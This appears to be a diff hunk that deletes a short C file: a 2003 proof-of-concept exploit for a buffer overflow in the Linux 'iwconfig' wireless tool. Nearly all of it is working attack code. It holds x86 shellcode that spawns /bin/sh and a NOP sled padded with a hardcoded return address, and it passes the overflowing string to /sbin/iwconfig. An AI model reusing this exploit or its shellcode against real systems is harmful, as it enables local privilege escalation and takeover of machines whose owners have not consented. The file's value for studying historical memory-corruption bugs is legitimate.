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- /*
- * (C) 2003 NrAziz
- * polygrithm_at_hotmail[DOT]com
- */
-
- /*
- * Greetz to Mixter,gorny,rave..
- */
-
- /*
- * Description:
- * iwconfig configures a wireless network interface and is similar to ifconfig
- * except that iwconfig configures wireless interfaces.
- * Vulnerability:
- * Instead of giving the interface parameter when a large string is given
- * the buffer overflows :-)...
- */
-
- /*
- * Yet another Proof Of Concept Xploit for 'iwconfig'
- */
-
-
- #include <stdio.h>
- #include <stdlib.h>
-
- #define BUFF_SIZE 98
- #define RET 0xbffffc3f
-
- char shellcode[]=
- "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
- "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
-
- int main(int argc,char **argv)
- {
-
- int i;
- char *buff=(char *)malloc(sizeof(char)*BUFF_SIZE);
-
- for(i=0;i<BUFF_SIZE;i+=4)
- *(long *)&buff[i]=RET;
-
- for(i=0;i<BUFF_SIZE-strlen(shellcode)-12;i++)
- *(buff+i)=0x90;
-
- memcpy(buff+i,shellcode,strlen(shellcode));
-
- execl("/sbin/iwconfig","iwconfig",buff,(char *)NULL);
-
- return 0;
- }
-